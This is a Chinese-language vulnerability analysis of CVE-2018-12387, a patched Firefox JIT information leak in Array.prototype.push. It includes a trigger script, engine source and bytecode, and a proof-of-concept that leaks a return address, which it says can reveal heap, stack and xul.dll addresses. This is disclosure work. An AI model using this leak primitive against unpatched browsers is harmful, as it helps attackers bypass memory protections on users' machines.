如何进行Firefox信息泄漏漏洞的技术分析

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前言

研究发现，JavaScript JIT编辑器中的Array.prototype.push有多个存在安全问题的参数，而这些参数共同导致了这个信息泄漏漏洞的出现。这个漏洞会将内存地址泄露给一个相关调用函数，攻击者将能够使用这个地址来进一步实施攻击。

厂商回复

这个安全漏洞已经在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修复。

漏洞CVE编号

CVE-2018-12387

漏洞发现者

BrunoKeith和NiklasBaumstark，独立安全研究员，在发现该漏洞之后他们便将漏洞信息上报给了Beyond Security的SecuriTeam安全披露项目。

受影响的系统

Firefox 62.0

Firefox ESR 60.2

漏洞详情

在对Spidermonkey（Mozilla的JavaScript引擎，采用C++编写）进行模糊测试的过程中，我们用下面这段代码成功触发了一次调试断言（Debug Assertion）：

functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       var sz = Array.prototype.push.call(a, 42,43);       (function () {              sz;       })(new Boolean(false));}for(var i = 0; i < 25000; i++) {       f(1);}f(2);

上述代码触发了如下所示的断言（Assertion）：

Assertion failure: isObject() and crashes in releaseBuild

根本原因分析

在运行JIT编译器生成的代码时，函数f生成了上述断言。

接下来，我们一起看一看JIT代码中的IR（中间表示）：

我们可以看到上图中的arraypusht指令，关于该指令的内容可参考【这篇文档】。函数中的注释信息表示，调用push命令的参数将会被分成多个单独的arraypush{t,v}指令。此时会触发断言，因为在调用函数时，栈指针没有被正确恢复。

在了解了错误发生的场景之后，我们需要从BaselineCompiler.cpp中寻找到负责执行syncStack(0)的操作码Handler，并通过peek()来获取栈地址值：

//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_)))     return false; // Leave the object on the stack. frame.pop();

这个操作码会被下列JavaScript代码执行：

functionf() {       var y = {};       var o = {              a: y       };}dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */

Handler告诉了我们这个操作码是如何被编译的：R0被设置为了stack[top-1] = o，R1被设置为了stack[top] = y，接下来内部缓存会设置R0.a = R1。由于栈地址偏移，在下面的代码中会执行stack[top].a = stack[top+1]，因此我们可以在栈外获取一个JSValue：

vartest = {       a: 13.37}; functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       useless + useless;       var sz = Array.prototype.push.call(a,1337, 43);       (function () {              sz       })();       var o = {              a: test       };}dis(f);for(var i = 0; i < 25000; i++) {       f(1);}f(100);print(test.a);

/*bytecode:...00034:lambda function() {} # FUN00039:setlocal 1 # FUN00043:pop #00044:getlocal 1 # useless00048:getlocal 1 # useless useless00052:add # (useless + useless)00053:pop #00054:getgname "Array" # Array00059:getprop "prototype" # Array.prototype00064:getprop "push" # Array.prototype.push00069:dup # Array.prototype.push Array.prototype.push00070:callprop "call" # Array.prototype.push Array.prototype.push.call00075:swap # Array.prototype.push.call Array.prototype.push00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 133700083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 4300085:funcall 3 # Array.prototype.push.call(...)...00104:newobject ({a:(void 0)}) # OBJ00109:getgname "test" # OBJ test00114:initprop "a" # OBJ00119:setarg 0 # OBJ00122:pop #00123:retrval #

指令48只会将一个函数push进堆内存中，这样一来指令85（funcall）将不会抛出异常，因为它会尝试从栈中获取Array.prototype.push.call，但是有8字节的偏移量。并在我们的系统上打印出了2.11951350117067e-310，它是整型值0x27044d565235的double类型表示，而这是一个返回地址。最终的漏洞利用代码将能够利用这个缺陷来泄漏堆地址、栈地址和xul.dll的基地址。

漏洞利用代码

 Go

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本文名称：如何进行Firefox信息泄漏漏洞的技术分析
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